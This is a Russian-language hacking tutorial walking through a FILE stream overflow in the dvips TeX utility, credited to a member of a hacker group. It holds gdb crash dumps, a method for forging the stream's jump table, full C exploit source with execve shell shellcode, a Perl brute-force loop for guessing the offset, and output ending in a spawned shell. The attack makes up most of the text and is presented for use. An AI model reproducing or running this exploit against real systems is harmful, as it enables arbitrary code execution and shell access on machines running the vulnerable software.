С каждым днем атаки становятся все
сложнее, но их количество, как ни странно, не
уменьшается, а даже наоборот...
Общественность уже успела оценить атаки
типа Shatter, Integer Overflow и т.д. В этот раз речь
пойдет о FILE Stream Overflow. Хоть ее описание не
является открытием, многим экспертам еще не
приходилось ее эксплуатировать. А
сообщения о уязвимостях такого типа
практически не появляются в BUGTRAQ.
FILE Stream Overflow в переводе с английского
означает переполнение файлового потока.
Это переполнение буфера, но со своими
нюансами. На практике реальных примеров
использования этой уязвимости достаточно
мало. Но если они есть вообще, то это уже
стоит изучения. В данном документе я опишу
атаку переполнения файлового потока на
приложениях dvips и odvips. Хочу сразу сказать,
что его автором являюсь не я а killah,
член хакерской группы hack.gr.
Для начала давайте убедимся, что
уязвимость существует вообще. Передадим
приложению dvips строку, достаточную чтобы
переполнить буффер:
bash-2.05a$ dvips `perl -e 'print "A"
x 2048'`
This is dvips(k) 5.86 Copyright 1999 Radical Eye Software (www.radicaleye.com)
dvips: ! DVI file can't be opened.
Segmentation fault (core dumped)
Как видите все прошло гладко и буфер мы все-таки
переполнили. Но что именно произошло?
Давайте внимательно взглянем на дамп:
......
Core was generated by dvips AAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libm.so.6...done.
Loaded symbols for /lib/libm.so.6
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 _IO_vfprintf (s=0x41414141, format=0x8069822 "\n", ap=0xbfffef00)
at vfprintf.c:270
270 vfprintf.c: No such file or directory.
in vfprintf.c
(gdb) bt
#0 _IO_vfprintf (s=0x41414141, format=0x8069822 "\n", ap=0xbfffef00)
at vfprintf.c:270
#1 0x4009190a in fprintf (stream=0x41414141, format=0x8069822 "\n")
at fprintf.c:32
#2 0x0805337f in error ()
#3 0x0804dd07 in strcpy () at ../sysdeps/generic/strcpy.c:31
#4 0x0804dd25 in error ()
#5 0x0804f522 in error ()
#6 0x4005617d in __libc_start_main (main=0x804e0f4 <error+988>, argc=2,
ubp_av=0xbffff104, init=0x8048e98, fini=0x80668a8 <error+101264>,
rtld_fini=0x4000a534 <_dl_fini>, stack_end=0xbffff0fc)
at ../sysdeps/generic/libc-start.c:129
Вот тут и начинается самое интересное... Все
адреса функций нам известны и EIP нами не
перезаписан, а "Segmentation fault" засверкал в
консоли. На первый взгляд ситуация "немного"
странная, неправда ли? А если взглянуть на
регистры:
eax 0x41414141 1094795585
ecx 0x41414141 1094795585
edx 0x8069822 134649890
ebx 0x4015ae58 1075162712
esp 0xbfffe8c8 0xbfffe8c8
ebp 0xbfffeed0 0xbfffeed0
esi 0x8068c01 134646785
edi 0x8069822 134649890
eip 0x400889d4 0x400889d4
Что же мы видим, EAX и ECX перезаписаны нашим
вводом. В тоже время EBP/EIP нами не
перезаписан, а значит и указывать они
должны на правильный адрес. Следовательно,
мы переполнили структуру файлового потока.
Далее попробуем переполнить поток так,
чтобы он указывал на другой поток, например
stdout, stderr,stdin, stdaux или stdprn.
(gdb) x/a stdout
0x40158200 <_IO_2_1_stdout_>: 0xfbad2084
Адрес stdout: 0x40158200, но использовать его не
будем из-за нулей в указателе (а ноль это
конец строки). Поэтому взглянем на stderr:
(gdb) x/a stderr
0x40158380 <_IO_2_1_stderr_>: 0xfbad2887
Это нам вполне подходит. Давайте на этот раз
переполним файловый поток адресом stderr:
bash-2.05a$ dvips perl -e 'print "\x80\x83\x15\x40"
x 2024'
This is dvips(k) 5.86 Copyright 1999 Radical Eye Software (www.radicaleye.com)
dvips: ! DVI file can't be opened.
userdict /end-hook known{end-hook}if
SafetyEnclosure restore
Как видите на этот раз аварийного
завершения программы не было. Значит мы на
правильном пути. Логическим завершением
этого документа будет выполнение
произвольного кода. Но для этого нам должна
быть известна структура файлового потока.
Для этого снова переполним его и взглянем
на stderr в образовавшемся
дампе.
Вот, это структура файлового потока длинной
в 160 байт. Но нас больше интересует вопрос:
не имеются ли в этой структуре адреса
переходов, которые можно использовать для
исполнения произвольного кода? И вот что интересное
мы можем увидеть.
Кажется мы нашли то, что искали, "IO file jumps"
это указатель на функцию. Следовательно
далее нам просто нужно создать поддельный
файловый поток, заполненный адресами shellcode.
Для этого необходимо сформировать буфер
имеющий такую структуру:
Как видно, больших отличий от атаки на
переполнение буфера нет. Переполняемый
буфер теперь затирает файловый поток. А
адрес перехода на shellcode сохраняется в этой
структуре. Вот эксплоит, реализующий эту
уязвимость:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define VERSION "0.3"
#define SIZE 3048
//шеллкод
char shellcode[]="\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52"
"\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
int
main(int argc,char *argv[])
{
char buffer[4000];
int align,offset,pad,i;
long ffss_addr=0xbfffeecc, jmpaddr, shaddr;
if(argc!=4)
{
fprintf(stderr, " FILE Stream Overflow exploit for dvips ver%s\n"
"Usage : %s <align> <offset> <pad>\n"
"\tCopyright 2k3 killah @ hack . gr\n",VERSION,argv[0]);
exit(-1);
}
align=atoi(argv[1]);
offset=atoi(argv[2]);
pad=atoi(argv[3]);
ffss_addr += offset; // адрес поддельного файлового
потока
jmpaddr = (ffss_addr+160); //таблица переходов=адрес
поддельного файлового потока+160
shaddr = (jmpaddr+32); // адрес shellcode
fprintf(stderr, " fake FILE Stream Structure Address : [0x%x]\n"
" Jump-Table Address\t\t : [0x%x]\n"
" Shellcode Address\t\t : [0x%x]\n"
" align = [%d] | offset = [%d] | pading = [%d]\n",ffss_addr,jmpaddr,shaddr,align,offset,pad);
/* выравнивание буфера */
for(i=0; i<align; i++)
buffer[i]=0x42;
/* дополнение буффера */
for(i=align; i<pad+align; i++)
buffer[i]=0x41;
/* подделка файлового потока */
for(i=pad+align; i<align+160; i+=4)
*(long *)&buffer[i]=jmpaddr;
/* создание таблицы переходов */
for(i=align+160; i<align+160+32; i+=4)
*(long *)&buffer[i]=shaddr;
/* копирование shellcode в буффер */
memcpy(buffer+align+160+32,shellcode,strlen(shellcode));
/* заполняем остаток буфера адресом
поддельной структуры потока *
* чтобы перезаписать старое значение и
запустить код(shellcode)*/
for(i=strlen(shellcode)+160+32+align; i<SIZE+align; i+=4)
*(long *)&buffer[i]=ffss_addr;
execl("/usr/share/texmf/bin/dvips", "dvips", buffer, NULL);
exit(0);
}
Адрес потока находится брутфорсом или с
помощью GDB. Естественно, что удаленный
пользователь не может воспользоваться
такой роскошью как дебаггер, не имея шелла
на удаленной машине. Поэтому для таких
случаев подходит брутфорс. Вот его
примерная реализация на Perl:
#!/usr/bin/perl
$MIN=-1000;
$MAX=1000;
while($MIN<$MAX)
{
printf(" offset : $MIN \n");
system("./exploit 0 $MIN 3");
$MIN++;
}
Тут exploit это откомпилированый исходник
описанного эксплоита. Так, при адресе
поддельного потока файла равному -161,
программа даст такие результаты:
fake FILE Stream Structure Address : [0xbfffee2b]
Jump-Table Address : [0xbfffeecb]
Shellcode Address : [0xbfffeeeb]
align = [0] | offset = [-161] | pading = [3]
This is dvips(k) 5.86 Copyright 1999 Radical Eye Software (www.radicaleye.com)
dvips: ! DVI file can't be opened.
sh-2.05a$
Великой сложности тут нет. Я думаю что те,
которые удачно переполняли буфер,
справятся и с этим. Ну а нет, так... 🙂